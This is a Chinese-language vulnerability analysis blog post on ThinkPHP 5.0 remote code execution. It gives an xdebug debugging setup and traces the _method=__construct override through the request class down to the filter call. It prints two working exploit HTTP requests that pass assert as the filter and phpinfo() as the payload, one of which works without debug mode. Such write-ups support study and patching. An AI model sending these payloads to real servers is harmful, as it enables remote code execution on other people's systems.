先說下xdebug+phpstorm審計環境搭建:php
[XDebug] ;xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug" ;xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug" zend_extension="D:\phpstudy\php\php-5.5.38\ext\php_xdebug.dll" xdebug.auto_trace = 1 xdebug.trace_format = 0 xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug" xdebug.trace_options = 0 xdebug.collect_params = 4 xdebug.collect_return = 1 xdebug.collect_vars = 1 xdebug.collect_assignments = 1 xdebug.profiler_append = 0 xdebug.profiler_enable = 1 xdebug.profiler_enable_trigger = 0 xdebug.profiler_output_name="cache.out.%t-%s" xdebug.profiler_output_dir="D:\phpstudy\tmp\XCache" xdebug.remote_enable = 1 xdebug.remote_enable = on xdebug.remote_port = 9000 xdebug.remote_mode = "req" xdebug.remote_handler = "dbgp" xdebug.remote_host = "127.0.0.1" xdebug.remote_autostart = on xdebug.idekey="PHPSTORM"
POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26 Connection: close Upgrade-Insecure-Requests: 1 _method=__construct&filter[]=assert&server[REQUEST_METHOD]=phpinfo();
主要就是method方法的問題,在這裏下斷,第一次method==false走到elseif分支this->method變量賦值爲_CONSTRUCT。至關於調用當前類的構造函數,跟進
構造函數意思是,若是當前類存在屬性,就將其從新賦值。這裏server,filter都被從新賦值
跟到當前類的126行,調用param方法,這裏debug設置爲true纔會走到if分支
調用this->method(true)
此次調用了method方法的if分支,跟入server方法
server的值被傳入input函數,跟入
server值賦值給data,1026行獲取過濾器的值,前面賦值爲assert.繼續跟到1032行filterValue函數
這裏致使命令執行
看下補丁,this->method不讓調用任意方法。
還有一種payload不用debug模式也能夠RCE:html
POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26 Connection: close Upgrade-Insecure-Requests: 1 _method=__construct&method=get&filter[]=assert&server[REQUEST_METHOD]=phpinfo();
給filter變量賦值後,調用param方法就能致使RCE。
下面就是漏洞觸發點的位置
thinkphp
參考連接:https://paper.seebug.org/787/瀏覽器